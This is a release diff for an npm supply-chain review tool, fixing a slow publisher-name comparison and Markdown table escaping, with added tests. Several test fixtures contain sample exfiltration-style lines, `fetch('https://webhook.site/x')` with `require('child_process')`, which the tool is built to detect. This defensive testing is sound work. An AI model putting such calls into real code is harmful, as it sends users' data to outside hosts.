release 0.1.3

CHANGELOG.md

@@ -4,6 +4,13 @@ All notable changes to this project are documented here. This project follows [S
 
 ## Unreleased
 
+## 0.1.3
+
+### Fixed
+
+- A crafted publisher name could make the publisher comparison very slow. Found by CodeQL.
+- A backslash before `|` in the evidence could break the findings table in the Markdown report. Found by CodeQL.
+
 ## 0.1.2
 
 ### Fixed

package.json

@@ -1,6 +1,6 @@
 {
   "name": "stagecheck",
-  "version": "0.1.2",
+  "version": "0.1.3",
   "description": "Review npm releases before they go live: diffs a staged (or any) package version against the last one and flags supply-chain red flags such as new install scripts, credential access, obfuscated code and exfiltration endpoints. Zero dependencies.",
   "keywords": [
     "npm",

src/report.ts

@@ -86,8 +86,11 @@ export function renderText(r: Review, options: TextOptions = {}): string {
 
 const escapeMd = (s: string): string => displaySafe(s).replace(/[\\`*_[\]<>|#!~]/g, (ch) => `\\${ch}`);
 const code = (s: string): string => `\`${displaySafe(s).replace(/`/g, "'")}\``;
-/** A code span inside a table cell, where `|` must be escaped even in code. */
-const cellCode = (s: string): string => code(s).replace(/\|/g, '\\|');
+/**
+ * A code span inside a table cell. GitHub splits table rows on any `|` that is
+ * not escaped, even inside code, and `\\` escapes a backslash, so both are escaped.
+ */
+const cellCode = (s: string): string => code(s).replace(/[\\|]/g, (ch) => `\\${ch}`);
 
 /** A report for GitHub (job summaries, issues, pull request comments). */
 export function renderMarkdown(r: Review, extra: { approveCommand?: string } = {}): string {

src/rules.ts

@@ -172,6 +172,20 @@ const DEPENDENCY_LABEL: Record<(typeof DEPENDENCY_FIELDS)[number], [string, stri
 
 const NON_REGISTRY_SPEC = /^(?:git\+|git:|github:|gitlab:|bitbucket:|gist:|https?:|file:|link:)|^[\w.-]+\/[\w.-]+(?:#.*)?$/i;
 
+/**
+ * A publisher name for comparison: "github-actions (oidc)" and "GitHub Actions"
+ * are the same publisher. Written without a regular expression for the trailing
+ * "(…)" so that long, crafted names cannot make it slow.
+ */
+function who(name: string): string {
+  let s = name.trimEnd();
+  if (s.endsWith(')')) {
+    const open = s.lastIndexOf('(');
+    if (open !== -1) s = s.slice(0, open);
+  }
+  return s.toLowerCase().replace(/[^a-z0-9]/g, '');
+}
+
 function parseSemver(v: string): number[] | null {
   const m = /^(\d+)\.(\d+)\.(\d+)/.exec(v);
   return m ? [Number(m[1]), Number(m[2]), Number(m[3])] : null;
@@ -253,8 +267,6 @@ export function runRules(ctx: RuleContext): Finding[] {
     }
   }
 
-  // "github-actions (oidc)" and "GitHub Actions" are the same publisher.
-  const who = (s: string): string => s.replace(/\s*\([^)]*\)\s*$/, '').toLowerCase().replace(/[^a-z0-9]/g, '');
   if (ctx.stagedBy && ctx.previousPublisher && who(ctx.stagedBy) !== who(ctx.previousPublisher)) {
     add({ rule: 'publisher-change', severity: 'medium', message: `staged by ${ctx.stagedBy}, but the previous version was published by ${ctx.previousPublisher}` });
   }

test/fuzz.test.ts

@@ -166,6 +166,32 @@ describe('fuzz: review', () => {
   });
 });
 
+/** Table cell delimiters in a GitHub Markdown row: `|` not escaped by a backslash. */
+function cellDelimiters(row: string): number {
+  let n = 0;
+  for (let i = 0; i < row.length; i++) {
+    if (row[i] === '\\') i++;
+    else if (row[i] === '|') n++;
+  }
+  return n;
+}
+
+describe('fuzz: Markdown report', () => {
+  it('keeps every findings row at three cells, whatever the evidence contains', () => {
+    const tricky = fc.string({ unit: fc.constantFrom('\\', '|', '`', '*', '<', 'a', ' ', '\n'), maxLength: 40 });
+    fc.assert(
+      fc.property(tricky, tricky, (a, b) => {
+        const after = readTarball(makeTarball({ 'package.json': '{"name":"demo","version":"1.0.1"}', [`lib/${a.replace(/[^a-z]/g, '') || 'x'}.js`]: `fetch('https://webhook.site/x') // ${a}\nrequire('child_process') // ${b}\n` }));
+        const md = renderMarkdown(reviewFiles(null, after));
+        const rows = md.split('\n').filter((l) => /^\| (?:🔴|🟠|⚪) /.test(l));
+        expect(rows.length).toBeGreaterThan(0);
+        for (const row of rows) expect(cellDelimiters(row)).toBe(4);
+      }),
+      RUNS,
+    );
+  });
+});
+
 describe('fuzz: helpers', () => {
   it('addedLines returns exactly the lines a change introduces', () => {
     const lines = fc.array(fc.constantFrom('a', 'b', 'c', '', 'd e'), { maxLength: 12 });

test/report.test.ts

@@ -39,6 +39,12 @@ describe('renderMarkdown', () => {
     expect(md).toContain('```sh\nnpm stage approve x\n```');
   });
 
+  it('escapes backslashes too, so a backslash before a pipe cannot end the cell', () => {
+    const r = reviewFiles(null, files({ 'package.json': '{"name":"demo","version":"1.0.0"}', 'a.js': "fetch('https://webhook.site/x') // a\\| b | c\n" }));
+    const row = renderMarkdown(r).split('\n').find((l) => l.includes('exfiltrate')) as string;
+    expect(row).toContain('a\\\\\\| b \\| c');
+  });
+
   it('keeps table rows intact when evidence contains pipes', () => {
     const md = renderMarkdown(risky);
     const row = md.split('\n').find((l) => l.includes('downloads and executes a script')) as string;

test/rules.test.ts

@@ -78,6 +78,12 @@ describe('package.json rules', () => {
     expect(rules(r)).toEqual(expect.arrayContaining(['low:entry-points', 'low:version-order', 'medium:publisher-change']));
   });
 
+  it('compares publisher names in linear time, even when crafted', () => {
+    const start = Date.now();
+    review(cleanPackage(), cleanPackage('1.0.1'), { stagedBy: `${'('.repeat(100_000)}x`, previousPublisher: `${' '.repeat(100_000)}x` });
+    expect(Date.now() - start).toBeLessThan(1000);
+  });
+
   it('treats the same publisher written differently as unchanged', () => {
     const r = review(cleanPackage(), cleanPackage('1.0.1'), { stagedBy: 'github-actions (oidc)', previousPublisher: 'GitHub Actions' });
     expect(rules(r)).not.toContain('medium:publisher-change');